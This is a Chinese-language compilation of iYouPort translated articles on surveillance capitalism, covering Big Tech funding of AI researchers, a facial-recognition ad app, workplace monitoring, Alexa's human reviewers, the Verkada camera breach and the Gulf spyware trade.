当然，产业界资助学术研究并不是什么新鲜事。资本、想法、和人员在公司和大学之间的流动曾经被认为是充满活力的创新生态系统的一部分。但是，大型科技公司现在掌握着前所未有的权力，而前沿的人工智能算法对其业务的重要性，使他们不得不向学术界挖掘人才。

- 还记得这个故事吗《科技寡头如何操纵学术界以延续隐性专制？》
- 以及，《西方学术界帮助构建了中国的自动化种族主义》

拥有人工智能专业知识的学生可以在科技公司获得高额的薪水，但公司也会用拨款和奖学金支持重要的研究和年轻的研究人员。许多顶尖的人工智能教授都被科技公司吸引走，或者在这些公司兼职。除了钱，大公司还能提供大多数大学都会仰慕的计算资源和数据集。

来自罗切斯特大学和中国长江商学院的研究人员在7月发表的一篇论文发现，在2004年至2018年期间，谷歌、DeepMind、亚马逊、和微软聘请了52名终身教授。该报告认为，这种 “人才流失” 与创办人工智能公司的学生的数量下降相吻合。

寡头公司的影响力和权力不断增长，促使 Abdalla 质疑它如何以更微妙的方式影响他的专业领域。

Abdalla 和他的哥哥（也是研究生）一起研究了斯坦福大学、麻省理工学院、加州大学伯克利分校、和多伦多大学的人工智能研究人员在职业生涯中获得寡头科技公司资助的情况。

他们检查了这四所学校中135名从事人工智能研究的计算机科学研究人员的简历，寻找研究者从一家或多家科技公司获得资金的迹象。对于其中的52人，他们无法做出判断。在其余**83**名教员中，他们发现有**48**人，也就是**58%**的教员从**14**家寡头科技公司中的一家获得了资助或奖学金等资金。

这14家寡头科技公司包括：**Alphabet**、亚马逊、**Facebook**、微软、苹果、英伟达、英特尔、**IBM**、华为、三星、**Uber**、阿里巴巴、**Element AI** 或 **OpenAI**。

在一个较小的从事人工智能伦理研究工作的教授群体中，他们还发现，其中58%的人曾得到寡头科技公司的资助。如果包括任何资金来源，如 双聘、实习和休假，那么33人中有32人 —— 即97%的人 —— 与寡头科技公司有经济联系。“很少有人不与大科技公司有某种联系”， Abdalla 说。

Abdalla 说，行业资助不一定是妥协，但是他担心钱会产生一些影响，会阻止研究人员进行某些项目，或者促使他们同意这些寡头科技公司提出的解决方案。

尤其是，Abdalla 的论文将寡头公司对人工智能研究的资助与**20**世纪**50**年代烟草公司为研究吸烟对健康的影响的研究人员付费的历史进行了对照。

他说：“我认为绝大多数研究人员都没有觉察到这点。他们没有积极寻求推动哪个议程。”

AI领域的其他人也担心行业资金的影响。在今年最大的人工智能研究人员聚会上，一个名为 “Resistance In AI” 的新研讨会将探讨人工智能如何 “将权力集中在政府和寡头公司手中，远离边缘化社区”。

但是，寡头公司与行业的联系是普遍存在的，并且经常在研究人工智能的道德使用的团体中发现这种联系。例如，“公平性、问责制和透明度” 会议（一个研究人工智能社会影响的著名活动）的三位联合主席中，有两位在 **Alphabet** 子公司工作。

非营利性人权数据分析小组的统计学家 Kristian Lum 是该会议的执行委员会成员，她说，该会议和其他活动一样，接受企业赞助。但她说，该会议的政策规定，赞助商对会议内容和演讲者没有控制权。Lum 说，参与会议的人都会小心翼翼地披露潜在的利益冲突。

Lum 说：“大型科技公司确实拥有强大的权力”。Lum 的雇主由基金会资助，“我确实认为这是人们越来越能意识到的事。”

其他人则说这个问题更加复杂。

Meredith Whittaker 是纽约大学的研究科学家，此前曾为谷歌工作，负责一个将公司与学术研究联系起来的项目。她还在2018年领导了公

司内部针对其性行为不端和监控政策的抗议活动。

“人们知道谁付钱给他们”，她说。但她又说，假设一个由公司资助的人不能对寡头科技公司持批评态度是不公平的。有几位在科技公司工作的研究人员对他们雇主的技术持批评态度。她还说，公司内部的反击可以帮助制衡寡头的权力。“随着这项技术的地位越来越明显，工人组织和工人的异议只会越来越多。”

加州大学伯克利分校教授 Ben Recht 此前曾批评过研究人员同时为大学和大型公司工作的想法。但他认为，企业对人工智能的资助不应该被视为本质上的坏事。“你可以从资本主义的角度出发，认为公司追求道德技术是好事”，他说。

Recht 还认为，即使没有行业的资助，学术界也可能产生道德上有问题的工作，比如支撑人脸识别的算法，或者那些帮助将社交媒体平台变成回音室和错误信息来源的算法。Recht 同时指出，包括军方在内的政府机构的资金流向都会影响研究方向。

Abdalla 则担心，引起人们对寡头科技公司和学术界之间关系的关注对他的工作前景至关重要，因为教授们通常会帮助筹集资金。“我被告知别较真这个”，他说。〇

Many Top AI Researchers Get Financial Backing From Big Tech

原文

财迷的代价 - iYouPort

监视资本主义的世界

想免费看电影吗，很多人也许会说”是”，但是需要你用人权交换呢，值得重新考虑这个问题吗

「图」

「图」

监视资本主义的歪点子总是能突破你的脑洞。

“免费“的一切都必须你需要付出代价。PreShow，一家来自 MoviePass 前创始人的新公司，希望广告成为电影票的唯一价格。

他们在 Kickstarter 上发布了一个活动，有一个15到20分钟的高端广告，PreShow 正在开发一款应用程序，可以为任何影院中的任何电影赢取免费的电影票。PreShow 希望让电影感觉像是免费的。

但是，**PreShow** 取决于某些人可能会认真考虑的成本，而其他人则认为是讨价还价的成本：即 面部识别。“如果不是面部识别，我认为我们仍然不能做到这一点，”PreShow 的创始人兼首席执行官 Stacy Spikes 表示。

放弃密码，PreShow 的应用程序只能通过手机的面部识别技术解锁。当您正在观看广告以获得免费门票时，手机的相机会监控您的注意力；如果你走开甚至只是遮住脸部的一部分，广告将在五秒后暂停，只有您回来时，它才会继续。

面部识别已经在您的生活中发挥着越来越大的作用，无论是好的还是坏的。这项技术可以帮助您在Google相册中找到特定朋友的所有快照; 也是一些所谓的智能家居的核心。但它也可以在你完全不知情的情况下扫描你的脸。随着面部识别的推进和传播，它已经触发了许多隐私和安全问题。

但是没有面部识别，PreShow 是不可能的。

“我们有两个问题需要解决：我们不希望人们创建虚拟账户，而且我们在一天结束时要处理真实的货币，因此我们需要唯一的确认，”Spikes 说。“电话级别的面部识别目前为止也只有一年半的时间。两年前你还不能做到这点。”

PreShow 使用面部识别进行识别和验证—它需要确保您是唯一可以打开应用程序的人（并且您只有一个帐户）更重要的是，它要确认您实际上正在观看这些广告。

解锁机制建立在手机现有的面部识别功能之上。在 PreShow 的演示中，Spikes 通过他的 iPhone 7 的前置摄像头解锁了应用程序。

确定观看部分更难。 PreShow 构建了自己的应用程序，以便在您观看广告时，视频边缘会出现绿色边框。只要前置摄像头能够识别出您的脸部正在看屏幕，边框就会保持绿色。如果你走开，将头部远离相机，甚至只是遮住脸部的一部分，演示中的轮廓就会变为红色。经过五秒后，商业广告自动暂停。

与应用程序本身一样，PreShow 的隐私细节仍在不断变化。PreShow 应用程序的私人测试版将于本月开始，Kickstarter 的赞助人是第一个使用和分享它的人。该公司尚未具体说明何时向公众提供。

PreShow 表示，测试将是关键，因为它将在测试期间根据用户反馈调整条款和条件。一旦 PreShow 开始让人们进入 beta 测试，它将发送更多关于整体用户体验的细节，包括面部识别技术，它说。

PreShow 定义的具体内容是：该应用程序不会记录任何人的观看，也不会向第三方分享个人身份信息。对于其广告合作伙伴，它将提供汇总的身份数据。

请注意，**PreShow** 计划要求您确定您的年龄、地理位置和性别，以便它可以提供广告客户想要的汇总人口统计详细信息。例如，**PreShow** 会使用面部识别来验证您是否诚实地将自己标识为男性或女性？

Spikes 指出，在其他方面，这种广告对您的隐私更敏感。

“今天在媒体上发生的事是该品牌将购买大量数据，然后它将交易这些数据，它将实时跟随你，它将嵌入 cookie—这一直是隐蔽的行动，现在只是更加公开了”，他说。

Spikes 是2011年 MoviePass 的联合创始人，但后来该公司破产了。

与 MoviePass 一样，Spikes 希望 PreShow 可以帮助将电影拉入新的业务方式。

Spikes 表示，与 MoviePass 不同的是，单个会员的电影入场费用可能远远超过其订阅带来的收入。现在消费者可以通过观看广告来支付费用，无论公司的用户群是3000或3000万。

Spikes 还提高了 PreShow 获得积分的可能性，除了电影票之外，还可以用购买网球鞋等产品。

应用程序中的广告将是由电影中集成的品牌制作的视频—就像 Dodge 将其汽车放入《速度与激情》中。它还将包括涉及品牌和电影的幕后风格视频。

现在的问题在于，你省下一点钱的代价并不只有被强迫的广告洗脑，而且还有面部识别—— 只能由你来决定被强制剥夺隐私权只为一张电影票，究竟值不值得。

MoviePass founder wants to use facial recognition to score you free movies. Facial recognition is the linchpin to PreShow, an app that will earn you free movie tickets by watching ads—so long as you're OK with your phone watching you back.

原文

资本主义“新阶段”？ - iYouPort

监视资本主义的世界

你我、我们所有人，都是监视资本主义的无偿劳工，它骗取我们的信任让我们心甘情愿地付出自己的一切来接受剥削。但是”监视资本主义”这一热门概念存在误导性，为什么？

「图」

「图」

你我、我们所有人，都是监视资本主义的无偿劳工，它骗取我们的信任让我们心甘情愿地付出自己的一切来接受剥削。但是“监视资本主义”这一热门概念存在误导性，为什么？

通过使用先进技术对工作场所的员工进行监视，代表了资本主义长期历史的最新阶段，即 通过强化形式的剥削来维持对工人的控制并提高生产力。

监视资本主义究竟是老大哥的更新版本还是更险恶的东西？它真的能提高生产力吗？工人是否愿意接受监视？我们如何确保监视资本主义不会完全消除隐私权和基本人权？以下是 Truthout 的独家采访中，牛津大学的讲师、监视研究的主要学者 Ivan Manokha 对上述问题提供了深刻的见解。

延伸阅读：《你正在为一个贴身老大哥努力工作：地狱的新常态》

C.J. Polychroniou: 在柔性资本主义时代，监视技术在发达资本主义社会中变得极为普遍，其影响尚不明确。在您看来，新的间谍技术和监视技术的主要目的和功能是什么？

Ivan Manokha: 资本主义的关键特征是劳动力市场的存在，即 在资本主义中，人力劳动是商品化的—— 它是在市场上进行买卖的。从雇主的角度来看，购买劳动力代表生产成本，其目标是确保最大限度地

利用其生产潜力。反过来，这就需要监视，可以观察到资本主义作为一个社会经济系统，因此总是涉及工作场所的监视行为。

使用“监视资本主义”一词实际上是存在误导性的，特别是 Shoshana Zuboff 的最新热门作品，现在被广泛用于指代*当前资本主义阶段*的新数字和生物识别技术进入工作场所的现状。

事实上，资本主义一直都是“监视资本主义”，因为在这个体系中，任何商业活动的主要目标都是最大化利润—— 确保购买和使用的资源—— 包括劳动力—— 以最大效率使用。

新技术的功能，就像工作场所监视，一直如此，就是寻求“最大限度地提高工人的生产力”。这可以通过两种方式实现：延长员工工作的时间（例如缩短休息时间，延长工时，或鼓励员工在工作日结束后在家继续工作等）、或通过加强劳动过程（密切跟踪工人动作的速度，每单位时间内完成的任务数量等）。

现代工作场所监控技术有可能使雇主能够做到这两点：更准确、更持续地监控员工实际工作的时间，包括午餐时间和上厕所的时间，以及，更好地审查和衡量员工的表现（持续测量）输出、开发绩效评分系统和排名等。

在这里需要特别提及所谓的“平台劳动力”—— 不同数字平台的兴起，将客户和“独立承包商”结合在一起了，委婉的说法是平台用来指代劳动者和服务提供者。他们不了解自己的工人，不得不依靠各种绩效指标来衡量和比较他们的生产力，而这里的核心角色由扮演代理经理角色的客户扮演—— 他们对工人的绩效进行评估和排名（例如 优步司机，TaskRabbit 的清洁工等）简而言之，新的工作场所监控技术被用来提高雇主监视员工的能力，这正是他们一直以来所做的事。

C.J. Polychroniou: 它们与过去的工作场所监视有何不同，甚至与专制和前共产主义政权下的监视技术有何不同？

Ivan Manokha: 主要区别在于从基于“凝视”的监控转变—— 监视员、工头、管理者等对视觉监控工作人员的能力—— 转向数字化监控，即超越“凝视”并涉及收集各种数据。

这种转变极大地提高了雇主监视员工的能力。因此，如果在过去的工作场所监视仅限于监督员实际盯着工人的时间，那么今天使用不同类型的新设备（**RFID** 徽章、员工携带的手持设备、甚至被植入身体的微芯片）使得监视可以无限地持续进行。

此外，数据可以实时处理，管理人员在其 KPI [关键绩效指标]屏幕上不仅可以看到每个员工的生产率，还可以看到他或她与其他员工相比的排名。

对于员工而言，这意味着没有喘息的时间、也没有可以隐藏的地方—— 监视者可以监控、记录、处理和分析所有内容。

关于问题的第二部分，确实存在一个奥威尔式的方面，因为新的工作场所监视手段使其全面化—— 从字面上看，员工的每一个动作都可以被监视，并且更可以转化为便于分析的数字数据，以工人无法控制的和不知道的方式（例如，用于计算绩效的算法类型，构建历史性能轨迹所涉及的内容，管理者如何使用结果等等）。

因此，威权社会中的秘密服务确实存在某种相似性，特别是监视的总体性质以及可能涉及处理和使用所获信息的高度随意性。

与此同时，让我们再次指出，这本身并不新鲜; 一直以来，“民主在工厂大门处就已经结束了”; 改变的是新技术可以增强工作场所监视的手段和程度。

C.J. Polychroniou: 新的监控技术能否提高了生产力？

Ivan Manokha: 没有达成一般性的明确结论; 所需要的是对每个特定行业中每种特定技术的具体实证分析。然而，我们可以观察到，在许多行业中，工人被推到了他们的身心能力的极限。例如，亚马逊的仓库拣货员只需几秒钟就可以找到一个物品，然后选择它，然后立即跑去取另一个物品，这样每天必须走20多公里。

回到延长工作时间和加强工作状态作为提高绩效的手段之间的区别，显然新技术确实提高了员工做前者的能力，我想在很多情况下也可能对后者有所贡献。然而，这是以工人身体和精神疲惫为代价的，并且可能导致与压力相关的倦怠、抑郁或疾病。

C.J. Polychroniou: 监视是一种价值中立的活动，可能用于好的和坏的目的，还是总是有问题？

Ivan Manokha: 引用 Melvin Kranzberg 的格言就是“技术既不好也不坏; 但它也不是中立的“，参考技术创新，这一切都取决于它们的背景和用途。监控技术也不例外。

他们可能正在帮助现实（例如，使用可穿戴技术来定位事故发生后无法返回的矿工，监控远处患者的健康状况，拍摄警察的暴行等等），

但这些技术也可能被用来增加镇压、压迫和剥削。

我们可以说的是，总的来说，监控技术更有可能为强国的利益服务（因为强国有更大的能力和手段来得到他们想要的一切），无论是政府、企业管理者还是数字平台。在这方面，重要的是不要把重点放在抽象的监视技术上，而是应关注具体的现有权力关系，并研究它们如何受到新的监视手段的影响。

因此，当我们谈到工作场所监视时，不可否认的是，这些技术使雇主受益，并大大提高了他们对雇员的相对权力。

C.J. Polychroniou: 最近的一些数据似乎表明员工正在接受监视。为什么员工会接受监视，工会是否应该将隐私问题作为集体协议的一部分？

Ivan Manokha: 首先，我们并不真正知道员工是否真的感觉很好。他们不公开反对监视技术的部署并且不组织抗议的事实并不一定意味着他们愿意接受监视。可能还有其他原因令他们无法挑战引入新的工作场所的监控技术（比如 担心失去工作、表现很好却无法被管理者看到，或者只是简单地损害一个人的职业等）。

但是，可能有人认为，缺乏抗议的部分原因可能是由于我们社会中监视技术和数据收集行为的采用面太普遍了。以至于人们习以为常感觉不到人权正在丧失的现实。

我们已经习惯于银行收集自己的私人交易数据并给我们一个信用评分，存储我们的详细信息的在线商店，并根据我们的个人资料、我们可能购买的产品、我们的智能手机，跟踪我们的每一个动作，以及 CCTV 布满的街道和生物识别护照扫描仪在机场和火车站，等等。

现在，这些监视技术也存在于工作场所，也许对许多人而言，这似乎是不可避免的事，这种现象是无法控制的。然而，事实并非如此，工会必须认真对待这个问题，并试图控制新的工作场所监控技术的传播。

值得注意的是，这不仅仅与个人隐私有关; 现代监视通常会引起隐私权问题，但必须认识到，隐私权对于行使一系列其他重要民主权利（如结社自由、投票权、言论自由等等）都是不可或缺的。部分中国读者认为“先实现民主变革再讨论隐私权问题”的思考方式是完全错误的。没有隐私权就无法实现民主变革。

侵犯工人隐私可能会影响他们免于被歧视和拥有平等职业机会的权利，以及组建工会的权利。因此，工会切勿低估新的工作场所监视的风险，并试图至少对雇主使用这些监视技术施加某些必要的限制。○

Workplace Surveillance Is Central to Capitalist Exploitation. Surveillance technology is more likely to serve the interests of the powerful. It is crucial to note that it is not just about individual privacy; modern surveillance usually raises privacy concerns but privacy is indispensable to the exercise of a whole range of other rights (freedom of association, the right to vote, freedom of expression, etc.).

原文

隐私法案管不住 Facebook 和 Google，怎么办 - iYouPort

互联网自由-Resist监视资本主义的世界

过去的一年是 Facebook 的恐怖年，非常感谢勇敢的记者们，他们精心记录了 Facebook 的各种不法行为。然而，虽然 2018 年是对 Facebook 进行了惊人的深入调查的一年，但在报道和分析方面却出现了严重的失误。

我们以 Cambridge Analytica（CA）为例。许多人似乎认为，Facebook 在未经用户同意的情况下无意中与CA共享了用户数据，并且 CA 使用此数据成功操纵了选举。观察家的标题称这是“数据泄露”。但他们错了。

大约有 320,000 人同意让一个名为“thisisyourdigitallife”的应用程序访问他们的 Facebook 数据（姓名，出生日期，他们喜欢的页面，朋友列表等等一切），包括他们的私人消息，以及他们朋友的数据（姓名，性别，当前城市，标记的照片，喜欢的网页等等一切）。该应用程序的用户点击了同意服务条款，可能根本没有阅读，甚至给了应用程序制造商 即 一家名为 GSR 的公司，出售这些数据的权利，这违反了 Facebook 自己的服务条款。

GSR 继续将从这些数据中获得的信息许可给了许多公司，其中包括 SCL 选举，也就是 CA 的母公司。是你的朋友（或你）做了分享，所以新闻的标题错了，Facebook 数据未被‘破坏’。

关于选举操纵，让我们看看事实。 CA 首次曝光于2015年，当时它正在向 Ted Cruz 和 Ben Carson 提供服务—两名失败的候选人，特朗普在2016年共和党总统初选中击败了他们；而在尼日利亚，CA 被聘请帮助 Muhammadu Buhari 的竞选，Muhammadu Buhari 后来成功当选总统。虽然从各方面来看 CA 似乎都是一个令人厌恶的公司，但它显然没有一种神奇的方式来操纵投票。

与 Facebook 一样，人们可能没有听说过的公司—— 如 Epsilon，Equifax 和 Experian—— 更加恶劣并实际销售您的数据，但是印度没

有适当的隐私和数据保护法来保护公民免受此类侵害。像 Facebook 和谷歌这样的公司由于他们对社会的影响而变得危险。但是隐私法完全不足以使他们承担责任。

没有一套单独的隐私默认设置可以满足超过20亿用户的需求—— “高级”用户可以以大多数普通用户无法做到的方式参与隐私自我决策，因为他们会同意任何事。于是为了保护用户的隐私，我们需要能够远离 Facebook 等平台而不会失去对其网络的访问权限。为了使我们能够专注于竞争和平台开放，而不仅仅是隐私，避免导致更加封闭的平台。

- 延伸阅读：《为什么隐私保护法规并没能起到作用？》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人#GDPR 的最大受益人》
- 《意想不到的后果：#GDPR 反而破坏了隐私#GDPR 反而破坏了隐私》

Privacy laws cannot make Facebeook and Google accountable. To safeguard users’ privacy, we need to be able to move away from platforms like Facebook without losing access to their networks.

原文

集体监听 - iYouPort

关于亚马逊、苹果、推特无处不在，无处可逃-所谓的“智能”是什么监视资本主义的世界

有一大群人类而不是机器，在神秘的地方监听你洗澡的声音；您认为的”机器学习”很可能不是那么自动化的 .....这次又曝光了什么？

「图」

「图」

亚马逊雇佣了数千人来窃听世界各地的人们对他们的 Alexa 数字助理所说的内容，根据彭博社发布的一份国会听证会报告，该报告引用了七位参与该计划的人的证词。

虽然他们的工作是“帮助改进 ”NSAlexa—— 它为公司的 Echo 扬声器系列提供动力—— 但该团队“收听 Echo 所有者家中和办公室里录制的所有录音”，然后将其转录，注释并反馈到软件中。为了更成功的互动，试图改善 Alexa 对人类语言的理解。换句话说，是人类而不是机器正在有效地帮助训练亚马逊的算法。

在营销材料中亚马逊表示，*Alexa*“生活在云端，并且总是越来越聪明。”但是，就像许多为了从经验中学习而构建的软件工具一样，人类正在做一些教学。—— 彭博社

监听团队由遍布全球的兼职承包商和全职亚马逊员工组成; 包括印度、罗马尼亚、波士顿和哥斯达黎加。

根据亚马逊布加勒斯特办事处的两名员工说（位于罗马尼亚首都 Globalworth 大楼的前三层），监听者每班工作9个小时，每班回顾多达1,000个音频剪辑。位于 Pipera 区的摇摇欲坠的基础设施中，这个位置“非常突出”、并且“没有任何外部标志能显示亚马逊的存在。”

虽然大部分工作都很无聊（一名工作人员表示他的工作是挖掘特定短

语的语音数据，例如“泰勒斯威夫特”—让系统知道用户正在寻找艺术家），这些监听者也在听取人们最私密的时刻。

有时监听者能听到非常私密的声音：一个女人在洗澡时严重走调的唱歌声，或者说一个孩子在尖叫的声音。团队在需要帮助解析混乱的单词或者遇到有趣的录音时使用内部聊天室来共享文件 。 –Bloomberg

亚马逊的监听者偶尔会遇到令人不安的或者说可能是犯罪记录的情况—— 例如两名工作人员说他们听到了性侵犯的声音。

据报道，当这样的事发生时，工人们会在内部聊天室提到它，以“缓解压力”。

虽然亚马逊表示，当工人听到令人痛苦的事情时，它有程序要遵循，但两名罗马尼亚员工表示，当他们请求指导此类案件时，他们被告知“干扰亚马逊的工作”。

“我们认真对待客户个人信息的安全性和隐私性，”亚马逊发言人在向彭博社提供的一份声明中表示。

“我们只注释极小部分的 Alexa 录音样本，以改善客户体验。例如，这些信息有助于我们培训语音识别和自然语言理解系统，以便让 Alexa 可以更好地理解您的要求，并确保服务对所有人来说运作良好，“该声明称。“我们有严格的技术和操作保障措施，并对滥用我们的系统的行为采取零容忍政策。员工无法直接访问可识别此人或帐户的信息，作为此工作流程的一部分。所有信息都以高度机密性处理，我们使用多因素身份验证来限制访问、服务加密和审核我们的控制环境以保护它。“

也就是说，亚马逊完全没有提到人类正在监听 **Alexa** 收集的一些谈话录音这一事实。相反，他们在常见问题解答中有一个通用的免责声明，即 “我们使用您对 Alexa 的请求来训练我们的语音识别和自然语言理解系统。”

根据亚马逊的 Alexa 使用条款，该公司收集并存储了您对 Alexa 说的大部分内容—— 包括产品的地理位置以及语音指令，CNBC 的 Todd Haselton 去年11月报道。

您的消息，通信请求（例如，*“Alexa，致电妈妈”*）和相关说明都属于*“Alexa 交互”*，如 *Alexa* 使用条款中所述，亚马逊处理并保留您的所有 *Alexa* 交互和相关信息，以响应您的请求（例如，“向妈妈发送

消息”），提供其他功能（例如，语音到文本转录，反之亦然）

去年五月，亚马逊 Echo 记录了一位丈夫和妻子之间的私密对话，然后将录音发送给丈夫的一个电话联系人。亚马逊声称，在谈话过程中，有人使用了一个听起来像“Alexa”的单词，导致该设备开始录制。

“如果是这样此时 Alexa 应该大声说出“向谁发？”后面的会话被解释为客户联系人列表中的名称。然后 Alexa 大声问，’[联系人姓名]，对吗？Alexa 然后将背景对话解释为“正确”。尽管这一系列事件都不太可能，我们正在评估这种情况。“ 亚马逊说。

然而，当事人妻子 Danielle 说，Echo 从未询问她是否允许发送音频。

虽然 Bloomberg 审查的屏幕截图显示，提供给 Alexa 监听者的录音不提供用户的全名或地址。但是，它会将录音链接到帐号、用户的名字和设备的序列号。

“你不会希望另一个陌生人在听你家里监听你的亲密关系，我认为我们已经习惯于[假设]这些机器正在进行神奇的机器学习。但事实上它们依然是涉及手动处理的。” UMich 教授 Florian Schaub 说，他研究了与智能扬声器相关的隐私问题。

“这是否与隐私有关，取决于亚马逊和其他公司对他们手动注释的信息类型的谨慎程度，以及他们如何向某人提供这些信息，”Schaub 补充说。简单说，如果您依旧不想把您的 Alexa 扔出去，那就只剩下祈祷一条路了：祈祷贝索斯是上帝。

Amazon employs thousands of people to listen in on what people around the world are saying to their Alexa digital assistant, according to what is sure to be a Congressional hearing-inspiring report by Bloomberg

原文

黑客瞄准监控公司，揭露了监视资本主义的无孔不入 - iYouPort

监视资本主义的世界

这是一项直接行动 …… 虽然不是完整的

「图」

「图」

一个黑客组织3月侵入了基于 “云” 的监控技术公司 Verkada 的网络，该公司是一家硅谷的初创企业，向全美数千家组织销售和管理监控系统。

据彭博社的报道，突破该公司的防火墙后，黑客就能利用其**15**万个实时监控摄像头的画面窥视无数组织的内部运作，包括医疗机构、精神病院、监狱、学校、和警察部门，还包括特斯拉、**Equinox** 和 **Cloudflare** 等大公司。此次黑客攻击的范围十分庞大。

黑客声称下载了大量的数据，并亲眼目睹了安装了监视摄像头的众多机构拼命隐藏的私密事件。

这次入侵在3月中旬首次引起公众关注，当时一位名叫 “Tillie” 的推特用户开始向互联网上泄露据称是黑客攻击后泄露出的监视视频图片：“有没有想过特斯拉的仓库是什么样子的？” 推文配了一张似乎是工业设施的图片。

Tillie 的全名是 Tillie Kottmann，他告诉多家新闻机构，他们是一个国际黑客团队的成员，负责攻破了Verkada。该组织似乎使用 “Arson Cats” 的绰号，还称自己为 “APT”，指的是安全研究人员给黑客组织的 “高级持续威胁” 标签。

“Arson Cats” 是利用一个令人震惊的糟糕安全失误进入Verkada 的——黑客们发现了一个高权限管理员账户的密码和用户名已经公开暴露在互联网上。在Twitter上，Tillie Kottmann 重申了这一点，他表示

一旦掌握了高访问权限的凭证（解锁了一个“超级管理员”账户）就能够进入 Verkada 库中15万个视频源中的任何一个。

Kottmann 的网站显示他是一名 Android 开发者，他表示自己此前曾参与过一些高调的黑客行动 —— 包括涉及英特尔和日产的黑客行动。不过，最近的这起黑客事件可能让此前那些行动相形见绌了。

Kottmann 说，该黑客组织可以利用他们的权限潜入Cloudflare首席执行官 Matthew Prince 的笔记本电脑 —— 用他的话说就是，如果他们愿意，Arson Cats 可以“拥有半个互联网”。

Kottmann 说，这场黑客行动能够获得摄像头的root权限，这意味着可以利用摄像头执行自己的代码。在某些情况下，这种访问权限可以劫持摄像头，并将其作为一个平台来发起未来的攻击。而获得这种程度的摄像头访问权限不需要任何额外的攻击，因为这是一个内置功能。

Kottmann 指出：“这次黑客事件暴露了我们遭受监视的范围有多广，以及至少在确保用于监视的平台安全方面有多么不谨慎，只追求利润”。“这真是太疯狂了，监控是人们一直知道正在发生的事，但人们从来没有亲眼看到过”。

在一份声明中，Verkada 的发言人表示，该公司已经通知了客户，并且正在努力了解黑客攻击的程度。“我们已经禁用了所有内部管理员账户，以防止任何未经授权的访问。我们的内部安全团队和[一家]外部安全公司正在调查这一问题的规模和范围，我们已经通知执法部门”，该发言人说。

“如果你是一家购买了这个监视摄像头公司产品的人，你把它们放在敏感的地方，你可能不会想到，除了被你的安全团队监视之外，摄像头公司还有一些管理员也在监视你”，电子前沿基金会网络安全总监 Eva Galperin 说。

Galperin 表示，监控摄像头和面部识别技术经常被用于企业办公室和工厂内部，以保护专有信息和防范内部威胁。

“在公司内部设置监控有很多合法的理由，但最重要的部分是获得员工的知情同意。通常这是在员工手册里面需要写明的，虽然没有人看”。

整个事件的基调是响亮的“黑客行动主义”。Arson Cats 将自己的入

侵活动称为“圆形监狱行动”，并表示他们要“结束监视资本主义”，让人们亲眼看到无处不在的监控支配人们生活的方式。Kottmann 声称自己与任何国家或公司都没有关系。

当被问及黑客攻击的政治意图时，Tillie 表示，部分原因是他们讨厌监视资本主义。

“监视资本主义是资本主义中一个特别可怕的和恶心的部分，然而能够接触到这些监视摄像头给我们带来的洞察力也是一种非常有趣的方式，我们所有人都知道那些大公司保护着非常多的秘密，但通常情况下永远也看不到”，他说。

Verkada 成立于2016年，销售客户可以通过网络访问和管理的监控摄像头。2020年1月，该公司筹集了8000万美元的风险投资，公司估值为16亿美元。投资者中有硅谷最老牌的公司之一红杉资本。

2020年10月，Verkada 解雇了三名员工，因为有报道称，工人们曾使用其监视摄像头拍摄 Verkada 办公室内的女同事，并对她们开性爱玩笑。〇

Hackers breach thousands of security cameras, exposing Tesla, jails, hospitals

原文

一个蓬勃发展的间谍技术市场 - iYouPort

以色列和NSO-间谍产业的领主公私监控伙伴关系协助暴政的家伙们技术暴政

在其他国家难以接受的恶心人型监视技术，都能在这里卖出去，全球最恐怖的间谍能力聚集在哪里？

随着向海湾国家的武器销售的飙升，上个月在阿布扎比举行的两年一度的国际防务展览会上国防公司蜂拥而至。

但在机枪、直升机和坦克的常规展示中，展厅底层较为安静的角落里，情报和监视产品的供应商也向世界各地的政府和执法机构兜售他们的商品。

在一次展览中，多家公司联合起来，推出了一站式商店，推出了名为“Intellexa” 的智能解决方案。他们的展位展示了由以色列前军事情报官员 **Tal Dilian** 在南塞浦路斯注册的公司 **WiSpear** 出售的大型“远程任务情报车”。

根据斯诺登泄露的文件，塞浦路斯是中东地区英美互联网监控中心。

“只需点击一下，我们就可以全面控制您的手机，”位于迪拜的情报公司 Advanced Systems 的一名代表说道，该公司宣传“全方位的情报解决方案，帮助各国政府打击任何不喜欢的人“。

长期以来，中东一直是寻求确保国内稳定的专制政府的所在地。但是，发生了一些变化，特别是在2011年阿拉伯之春抗议浪潮之后。沙特阿拉伯、阿联酋、科威特等国正在购买日益复杂的计算机设备和专业知识，以帮助监测和控制其社会中的信息流。

一位美国业内消息人士告诉雅虎新闻，在海湾地区，由于担心公民自由，美国监视技术公司可以销售其他地区可能无法被接受的监控技术。

然而就 Intellexa 而言，甚至还不清楚哪些国家支持该公司。官方新

闻稿没有将 Advanced Systems 列为会员公司，但展位上的材料表明他们参与了 Intellexa。该代表要求不予以确认，因为他“无权与新闻界交谈”。

“中东的情报机构非常感兴趣，”该代表说，并补充说欧洲甚至美国也询问了这项技术。

虽然西方政府经常—尽管不总是—使用监控技术来监控国外的威胁，但在中东地区，重点通常是内部的。

这些监视技术公司通常不会谈论目标—只说能力。根据展会现有材料，Intellexa 提供广泛的功能，包括拦截通信和目标分析服务、远程WiFi黑客攻击和地理攻击，以及开源情报。

显示屏上的监控车能抓取每个电话连接的WiFi，不管是不是有密码锁定。该代表告诉雅虎新闻，在200–300米范围内，可以“感染”任何目标手机。

该联盟提供的监控产品可以附在无人机上，也可以放在背包里。Advanced Systems 的“统一情报系统”—在每个目标上创建一个档案，用于映射他们的位置、电话、社交媒体等等—被称为“Cerebro”，让人想起 X-Men 中虚构的设备，可以赋予他们在世界任何地方找到任何人的能力。

Companies can sell surveillance technology that might not be acceptable in other regions because of concerns over civil liberties. In the Middle East, a booming market for spy technology

原文

一场令人不寒而栗的网络战 - iyouport

以色列和NSO-间谍产业的领主技术暴政

【2018年12月18日存档】

沙特情报部门一直密切关注其公民的通信和其他政治活动; 数字媒体为追踪和镇压提供了新的机会。根据 Wikileaks 在 2015 年披露的公司记录显示，2013 年沙特情报部门就寻求可以破解 iPhone 和 iPad 的黑客工具，并且在 2015 年希望获得类似工具以掌握 Android 手机访问权限。

2015 年1月，萨勒曼的加入为皇家法院的网络战努力带来了新的力度。Qahtani 是一名律师和前空军成员，曾在法庭工作了十多年，他想证明他对新国王最喜欢的儿子穆罕默德的忠诚。Qahtani 使自己变成了 MBS 周围圈子中不可或缺的但却越来越危险的人物。

“他打破了一切”，一个了解 Qahtani 的沙特阿拉伯人这样描述他。在 MBS 的赞助下，“他有很多胡萝卜和很多棒子。”

